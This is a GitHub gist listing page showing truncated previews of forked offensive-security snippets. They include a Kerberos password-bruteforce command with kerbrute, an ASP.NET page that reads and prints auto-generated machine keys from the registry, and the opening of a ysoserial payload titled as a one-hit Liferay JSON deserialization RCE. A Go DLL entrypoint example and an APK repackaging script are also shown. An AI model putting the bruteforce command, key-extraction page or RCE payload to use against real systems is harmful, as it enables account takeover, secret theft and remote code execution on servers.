Kerberos cheatsheet

Bruteforcing

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

xuan-tuyen / dllmain.go

Created July 6, 2021 01:04 — forked from NaniteFactory/dllmain.go

An implementation example of DllMain() entrypoint with Golang. $ go build --buildmode=c-shared -o my.dll && rundll32.exe my.dll Test

xuan-tuyen / machineKeyFinder.aspx

Created June 4, 2021 10:03 — forked from irsdl/machineKeyFinder.aspx

To find validation and decryption keys when AutoGenerate has been used in Machine Key settings

	<%@ Page Language="C#" %>
	<%
	// Read https://soroush.secproject.com/blog/2019/05/danger-of-stealing-auto-generated-net-machine-keys/
	Response.Write("<br/><hr/>");
	byte[] autoGenKeyV4 = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\", "AutoGenKeyV4", new byte[]{});
	if(autoGenKeyV4!=null)
	Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4: "+BitConverter.ToString(autoGenKeyV4).Replace("-", string.Empty));
	Response.Write("<br/>");
	byte[] autoGenKey = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\", "AutoGenKey", new byte[]{});
	if(autoGenKey!=null)

xuan-tuyen / recompile-and-run.sh

Created August 26, 2020 03:33 — forked from PuKoren/recompile-and-run.sh

Recompile APK + Sign with apktool

	# You must first install apktool (https://github.com/iBotPeaches/Apktool) and android SDK
	# and decompile apk using it
	# apktool d -rf my-app.apk

	# then generate a key for sign in:
	# keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000
	rm signed-app.apk
	apktool b -f -d com.myapp
	jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore com.myapp/dist/com.myapp.apk alias_name
	zipalign -v 4 com.myapp/dist/com.myapp.apk signed-app.apk

xuan-tuyen / LiferayJsonEvalCC6.java

Created June 17, 2020 01:25 — forked from testanull/LiferayJsonEvalCC6.java

Liferay Json Deserialize 1 hit RCE

	package ysoserial.payloads;

	import com.mchange.lang.ByteUtils;
	import org.apache.commons.collections.Transformer;
	import org.apache.commons.collections.functors.ChainedTransformer;
	import org.apache.commons.collections.functors.ConstantTransformer;
	import org.apache.commons.collections.functors.InvokerTransformer;
	import org.apache.commons.collections.keyvalue.TiedMapEntry;
	import org.apache.commons.collections.map.LazyMap;
	import ysoserial.payloads.annotation.Authors;